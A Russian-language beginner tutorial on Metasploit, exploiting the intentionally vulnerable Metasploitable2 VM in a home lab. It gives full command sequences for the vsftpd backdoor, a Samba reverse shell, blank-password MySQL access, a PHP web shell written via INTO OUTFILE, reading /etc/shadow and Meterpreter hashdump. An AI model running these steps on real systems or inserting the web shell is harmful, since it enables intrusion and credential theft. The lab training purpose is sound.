Metasploit — это не волшебная кнопка «взломать всё». Это фреймворк, который превращает понимание уязвимости в работающий шелл. Сегодня ты получишь свой первый.
Metasploit Framework — открытый фреймворк для разработки и запуска эксплойтов, разрабатываемый Rapid7. Содержит тысячи модулей для эксплуатации, разведки и пост-эксплуатации. Metasploitable2 — специально сломанная виртуальная машина Ubuntu, созданная теми же Rapid7 как легальная цель для обучения. Она набита уязвимостями намеренно — это твой первый полигон.
🛠️ Подготовка лаборатории
Перед тем как что-то ломать — собери стенд. Всё в рамках твоей локальной сети, никаких чужих систем:
|
1 2 3 4 5 |
VirtualBox / VMware ├── Kali Linux (атакующая машина) │ └── Сеть: Host-Only или NAT Network └── Metasploitable2 (цель) └── Сеть: та же Host-Only или NAT Network |
|
1 2 3 4 5 6 7 8 9 |
# Скачать Metasploitable2: # https://sourceforge.net/projects/metasploitable/ # После запуска — логин на консоли: # login: msfadmin # password: msfadmin # Узнать IP машины: ifconfig |
|
1 2 |
# С Kali — проверяем, что цель видна: ping 192.168.56.101 # IP твоей Metasploitable2 |
🔬 Шаг 1: Разведка через Nmap
Никогда не стреляй вслепую. Сначала — карта:
|
1 2 |
# Полный скан с определением версий: sudo nmap -sV -sC -T4 192.168.56.101 |
Что увидишь — список уязвимостей на блюдечке:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 ← БЭКДОР 22/tcp open ssh OpenSSH 4.7p1 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.2.8 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open netbios-ssn Samba smbd 3.0.20 ← RCE 3306/tcp open mysql MySQL 5.0.51a ← пустой пароль root 5432/tcp open postgresql PostgreSQL 8.3 6667/tcp open irc UnrealIRCd ← БЭКДОР 8180/tcp open http Apache Tomcat/Coyote |
Это не просто открытые порты — это меню уязвимостей. Сегодня разберём три классических вектора: vsftpd, Samba и MySQL.
🚀 Анатомия Metasploit: язык фреймворка
Прежде чем запускать — понимаем структуру:
|
1 2 3 4 5 6 7 8 |
msfconsole ├── exploit/ — модули для эксплуатации уязвимостей ├── auxiliary/ — сканеры, брутфорс, разведка ├── payload/ — код, который выполняется после взлома │ ├── singles/ — самодостаточные пейлоады │ ├── stagers/ — минимальный код для установки канала │ └── stages/ — Meterpreter, Shell, VNC └── post/ — пост-эксплуатация: дамп паролей, pivoting |
Базовые команды консоли:
|
1 2 3 4 5 6 7 8 9 |
msfconsole # запуск search vsftpd # поиск модулей use exploit/unix/ftp/vsftpd_234_backdoor # выбор модуля show options # параметры модуля set RHOSTS 192.168.56.101 # IP цели set LHOST 192.168.56.100 # твой IP show payloads # доступные пейлоады set PAYLOAD cmd/unix/interact # выбор пейлоада run # запуск (или exploit) |
💥 Эксплойт №1: vsftpd 2.3.4 Backdoor — root с улыбкой
Это легендарная история: неизвестный злоумышленник внедрил бэкдор в исходный код vsftpd 2.3.4. Если отправить username, заканчивающийся на :) — сервер открывает root-шелл на порту 6200. Да, буквально смайлик как триггер.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
# Запускаем msfconsole: sudo msfconsole -q # Ищем модуль: msf6 > search vsftpd # Результат: # exploit/unix/ftp/vsftpd_234_backdoor # Выбираем и настраиваем: msf6 > use exploit/unix/ftp/vsftpd_234_backdoor msf6 exploit(vsftpd_234_backdoor) > show options # Устанавливаем цель: msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.101 # Запускаем: msf6 exploit(vsftpd_234_backdoor) > run |
Ожидаемый результат:
|
1 2 3 4 5 6 7 8 9 10 11 |
[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.56.101:21 - USER: 331 Please specify the password. [+] 192.168.56.101:21 - Backdoor service has been spawned, handling... [+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened id uid=0(root) gid=0(root) groups=0(root) whoami root |
🔥 uid=0(root) — ты root без пароля. Это происходит потому что бэкдор запускает /bin/sh с правами root напрямую. Классика жанра.
💥 Эксплойт №2: Samba 3.0.20 — username map script (RCE)
Samba версии 3.0.20 содержит уязвимость в параметре username map script — позволяет выполнить произвольные команды без аутентификации. CVE-2007-2447 — старая, но на Metasploitable2 живёт и поныне:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
# В msfconsole: msf6 > search samba 3.0.20 # Найдём: # exploit/multi/samba/usermap_script msf6 > use exploit/multi/samba/usermap_script msf6 exploit(usermap_script) > show options # Настройка: msf6 exploit(usermap_script) > set RHOSTS 192.168.56.101 msf6 exploit(usermap_script) > set LHOST 192.168.56.100 # Смотрим доступные пейлоады: msf6 exploit(usermap_script) > show payloads # Выбираем реверс-шелл: msf6 exploit(usermap_script) > set PAYLOAD cmd/unix/reverse_netcat # Огонь: msf6 exploit(usermap_script) > run |
Ожидаемый результат:
|
1 2 3 4 5 6 7 8 9 |
[*] Started reverse TCP handler on 192.168.56.100:4444 [*] Command shell session 2 opened id uid=0(root) gid=0(root) hostname metasploitable cat /etc/shadow root:$1$...:15947:0:99999:7::: |
💡 Разница между bind и reverse шеллом: bind — жертва открывает порт, ты подключаешься к ней. Reverse — жертва сама коннектится к тебе. Reverse работает через NAT и файрволы — поэтому используется чаще.
💥 Эксплойт №3: MySQL с пустым паролем root
MySQL на Metasploitable2 запущен с root без пароля. Это не эксплойт — это конфигурационная уязвимость, встречающаяся в реальной жизни не реже CVE:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
# Сначала проверяем через auxiliary-модуль: msf6 > use auxiliary/scanner/mysql/mysql_login msf6 auxiliary(mysql_login) > set RHOSTS 192.168.56.101 msf6 auxiliary(mysql_login) > set USERNAME root msf6 auxiliary(mysql_login) > set BLANK_PASSWORDS true msf6 auxiliary(mysql_login) > run # Результат: # [+] 192.168.56.101:3306 - Found remote MySQL version 5.0.51a # [+] 192.168.56.101:3306 - root:'' - Login Successful # Теперь выполняем команды через MySQL: msf6 > use auxiliary/admin/mysql/mysql_sql msf6 auxiliary(mysql_sql) > set RHOSTS 192.168.56.101 msf6 auxiliary(mysql_sql) > set USERNAME root msf6 auxiliary(mysql_sql) > set PASSWORD "" msf6 auxiliary(mysql_sql) > set SQL "select user,password from mysql.user" msf6 auxiliary(mysql_sql) > run |
|
1 2 3 4 5 6 7 |
# Или напрямую с Kali: mysql -h 192.168.56.101 -u root --password="" mysql> show databases; mysql> select user, password from mysql.user; mysql> select load_file('/etc/passwd'); # читаем файлы! mysql> select "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/shell.php'; |
💣 INTO OUTFILE — запись файла через MySQL. Если MySQL запущен с правами записи в веб-директорию — одна строка SQL создаёт веб-шелл.
🐍 Шаг 2: Meterpreter — шелл следующего уровня
Обычный шелл — это просто терминал. Meterpreter — полноценный агент пост-эксплуатации, работающий в памяти без файлов на диске:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# Повторяем Samba-эксплойт, но с Meterpreter: msf6 > use exploit/multi/samba/usermap_script msf6 exploit(usermap_script) > set RHOSTS 192.168.56.101 msf6 exploit(usermap_script) > set LHOST 192.168.56.100 msf6 exploit(usermap_script) > set PAYLOAD linux/x86/meterpreter/reverse_tcp msf6 exploit(usermap_script) > run # После получения сессии: meterpreter > sysinfo # информация о системе meterpreter > getuid # текущий пользователь meterpreter > pwd # текущая директория meterpreter > ls # список файлов meterpreter > download /etc/shadow ./shadow # скачать файл meterpreter > upload shell.php /var/www/ # загрузить файл meterpreter > shell # перейти в обычный шелл meterpreter > hashdump # дамп хэшей паролей meterpreter > run post/multi/recon/local_exploit_suggester # ищем privesc |
📊 Управление сессиями
Когда одновременно несколько жертв:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Посмотреть все активные сессии: msf6 > sessions -l # Переключиться на сессию: msf6 > sessions -i 1 # Выйти из сессии без закрытия: meterpreter > background # или Ctrl+Z # Запустить команду во всех сессиях: msf6 > sessions -c "id" # Закрыть сессию: msf6 > sessions -k 1 |
🗄️ База данных — не теряй результаты
Metasploit интегрируется с PostgreSQL для хранения результатов:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
# Запустить PostgreSQL: sudo systemctl start postgresql # Инициализировать БД Metasploit: sudo msfdb init # В msfconsole — импорт результатов Nmap: msf6 > db_nmap -sV -sC 192.168.56.101 # Посмотреть хосты и сервисы: msf6 > hosts msf6 > services msf6 > vulns # Экспорт в отчёт: msf6 > db_export -f xml /tmp/report.xml |
🗺️ Карта уязвимостей Metasploitable2
Полная таблица для дальнейшей практики:
| Сервис | Порт | Уязвимость | Модуль Metasploit |
|---|---|---|---|
| vsftpd 2.3.4 | 21 | Backdoor RCE | exploit/unix/ftp/vsftpd_234_backdoor |
| Samba 3.0.20 | 445 | Username Map Script RCE | exploit/multi/samba/usermap_script |
| UnrealIRCd | 6667 | Backdoor RCE | exploit/unix/irc/unreal_ircd_3281_backdoor |
| MySQL 5.0 | 3306 | Пустой пароль root | auxiliary/scanner/mysql/mysql_login |
| Tomcat | 8180 | Дефолтные учётки | exploit/multi/http/tomcat_mgr_upload |
| Distcc | 3632 | Выполнение команд | exploit/unix/misc/distcc_exec |
| PostgreSQL | 5432 | Дефолтные учётки | auxiliary/scanner/postgres/postgres_login |
| Telnet | 23 | Дефолтные учётки | Ручной вход: msfadmin:msfadmin |
📋 Шпаргалка: алгоритм работы с Metasploit
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# 1. Найти модуль: search [ключевое_слово / CVE / тип сервиса] # 2. Выбрать и изучить: use [путь_к_модулю] info # описание, ссылки на CVE, авторы # 3. Настроить: show options # обязательные и опциональные параметры set RHOSTS [IP цели] set LHOST [твой IP] set PAYLOAD [пейлоад] # 4. Проверить и запустить: check # проверить уязвимость без эксплуатации (если поддерживается) run # или exploit # 5. После получения сессии: sysinfo / getuid / hashdump / run post/... |
🔴 Важно и серьёзно: всё описанное выше — только для легальных учебных стендов: Metasploitable2 в твоей локальной сети, TryHackMe, HackTheBox. Применение этих техник против любых систем без письменного разрешения — уголовная статья в любой юрисдикции. White Hat начинается не с умения ломать, а с понимания, где это делать можно.



